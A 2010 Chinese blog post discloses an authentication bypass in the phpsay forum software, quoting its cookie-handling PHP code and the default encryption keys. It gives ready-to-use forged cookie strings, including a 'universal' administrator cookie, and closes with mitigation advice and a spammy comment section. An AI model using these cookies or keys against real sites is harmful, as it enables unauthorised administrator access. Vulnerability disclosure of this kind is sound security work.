// by redice 2010.05.22
// by redice@163.com
声明:仅以研究、交流技术为目的发布本文,对文中提到的网站和软件作者没有丝毫恶意。如感不妥请邮件说明。
由于最近项目中需要整合一个贴吧,在朋友推荐下我用了phpsay(谷歌了一下,使用这个系统的网站还真不少)。
phpsay是一款基于php的贴吧系统,官方地址是http://www.phpsay.com 。目前最新版是2.0.8。
这套系统代码非常简洁,结构清晰,使用了脚本引擎,界面风格也非常不错,和百度贴吧很像。
非常感谢作者开源,在这里对作者表示敬意!
昨天muoduzhang让我测一下这个系统的安全性,于是我就分析了一下源码,结果刚看到登录验证就发现了问题。
(1)先看看普通会员身份认证的Bug。
普通会员登录成功后,系统通过loginCookie(参数略)设置Cookie,loginCookie()代码如下:
function loginCookie($uid,$name,$group,$ip,$time)
{
global $site_domain,$login_key;
$domain = (substr($site_domain,0,4) == "www.") ? substr($site_domain,3) : ".".$site_domain;
$secure = Xxtea::encrypt($uid."|".$name."|".$group."|".$ip,$login_key);
setcookie("userId",$uid,$time+86400,"/",$domain);
setcookie("userName",$name,$time+86400,"/",$domain);
setcookie("userGroup",$group,$time+86400,"/",$domain);
setcookie("userSecure",$secure,$time+86400,"/",$domain);
}
可以看出,登录成功后系统将userId,userName,userGroup这些信息存入Cookie中,并将$uid."|".$name."|".$group."|".$ip,$login_key 这个字符串加密
后的结果存入cookie(其中Xxtea是一个字符串加密类,$login_key是加密的密钥,系统安装后$login_key默认值为"1234567890abcdef"),
在global.php,系统通过isLogin()判断普通会员是否登录,isLogin()代码如下:
function isLogin()
{
global $login_key;
if( isset($_COOKIE[userId],$_COOKIE[userName],$_COOKIE[userGroup],$_COOKIE[userSecure]) )
{
$Sc = explode("|",Xxtea::decrypt($_COOKIE[userSecure],$login_key));
if( isset($Sc[0],$Sc[1],$Sc[2]) )
{
if( $_COOKIE[userId] == $Sc[0] && $_COOKIE[userName] == $Sc[1] && $_COOKIE[userGroup] == $Sc[2] )
{
return true;
}
}
}
return false;
}
显然encrypt()的加密算法是可逆的。系统判断cookie中userSecure密文解析后的结果是否分别与cookie中的userId,userName,userGroup
相等,如果相等则认为用户已登录。由于cookie是存在客户端的,完全受我们控制,我们可以构造一个欺骗的cookie,以任意人
的身份登录系统。
在phpsay系统中,通过查看帖子作者信息很容易获取userId,userName,userGroup这些信息, 系统安装后$login_key默认值为"1234567890abcdef"(/database/config_secure.php)。
假设某用户userId=1,userName=say,userGroup=6(id=1的肯定是系统管理员,用户组ID为6,/include/config_group.php文件中定义了各用户组,用户组数组索引即为用户组ID),
我们很容易构造出该用户登录后的cookie值如下:
userId=1; userName=say; userGroup=6; userSecure=dufXC63uw7JgFRyJVo6r8cnbsbup2M0s6BQPHA%3D%3D;
其中userSecure我们可以通过 urlencode(Xxtea::encrypt($uid."|".$name."|".$group."|".$ip,$login_key)) 得到
(后面附phpsay的cookie生成器)。
如果我们把本地的cookie修改为上述的值(后面附可以直接修改cookie的浏览器),就能成功通过登录验证。这样就能以任何人的身份登录系统了。
(2)再来看看管理员是如何进行身份认证的。
查看/admin/include/function.php中的adminCookie()和adminLogin()
function adminCookie()
{
global $admin_key;
$Secure = Xxtea::encrypt($_COOKIE[userName]."|".$_COOKIE[userId],$admin_key);
@setcookie("adminSecure",$Secure,time()+86400,"/");
}
function adminLogin()
{
global $admin_key;
if( isset($_COOKIE[userId],$_COOKIE[userName],$_COOKIE[adminSecure]) )
{
$Sc = explode("|",Xxtea::decrypt($_COOKIE[adminSecure],$admin_key));
if( isset($Sc[1],$Sc[0]) && $_COOKIE[userId] == $Sc[1] && $_COOKIE[userName] == $Sc[0] )
{
return true;
}
}
return false;
}
可以看出管理员验证和普通会员相比仅仅是在cookie中多存了个adminSecure而已,$admin_key的默认值为“abCdef1234567890”,
这样我们也可以计算出上述管理员对应的adminSecure=JkvzSpGIpInAIHO8
修改cookie如下,
userId=1; userName=say; userGroup=6; userSecure=dufXC63uw7JgFRyJVo6r8cnbsbup2M0s6BQPHA%3D%3D; adminSecure=JkvzSpGIpInAIHO8
访问/admin/,成功进入后台,截图如下:
声明:作者发布此图仅为研究技术,对该网站没有任何恶意。
PS:如果$login_key和$admin_key的默认值没用修改的话,下面就是一个进入系统后台的万能cookie:
userId=1; userName=redice; userGroup=6; userSecure=valgi3VyUw%2FffQFYHVrWU7zAPoW%2ByIbYu%2Fn1umriB64%3D;adminSecure=giaBPbrX%2FyJIufkL
漏洞暂时解决方案:
为了安全起见,请各位站长将$login_key和$admin_key修改为较复杂的字母数字特殊符号组合。
这并不是万全之策,因为通过穷举法还是容易得出$login_key和$admin_key值的。
对phpsay作者的建议:
(1)可以考虑加入通过session验证。
(2)强烈建议安装后修改$login_key和$admin_key的值为随机值。
附:phpsay cookie生成器(需要php环境运行)。
File: Click to Download
附:可以直接修改cookie的浏览器。
File: Click to Download
附:本文txt版。
File: Click to Download
phpsay登录验证漏洞0day
[日志分享]
[日志信息]
该日志于 2010-05-22 14:39 由 redice 发表在 redice's Blog ,你除了可以发表评论外,还可以转载 “phpsay登录验证漏洞0day” 日志到你的网站或博客,但是请保留源地址及作者信息,谢谢!! (尊重他人劳动,你我共同努力)
呵呵,谢谢
VaTG790i.最好的<a href=http://www.kyfei.com>网站推广软件</a>,
非常好
....................
;ui;普i;uighur;ui;ui;个
在unix网络编程中看到了关于TCP/IP的一些内容,我感觉还是写的不够。正在下载中,一定
下载地址呢